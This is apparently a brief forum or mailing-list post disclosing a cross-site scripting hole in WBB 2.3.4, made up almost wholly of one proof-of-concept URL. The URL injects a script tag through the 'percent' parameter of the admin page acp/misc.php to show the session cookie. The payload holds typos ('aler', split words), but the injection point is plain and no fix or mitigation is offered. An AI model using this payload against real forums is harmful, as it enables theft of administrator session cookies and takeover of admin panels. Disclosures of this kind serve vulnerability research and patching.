there is an xss in wbb 2.3.4
example:

http://example.com/wbb/acp/misc.php?sid=yoursessionid&action=workingtop&taskn ame=Backup%20Database&percent=<script>aler(documen t.cookie)</script>

thnx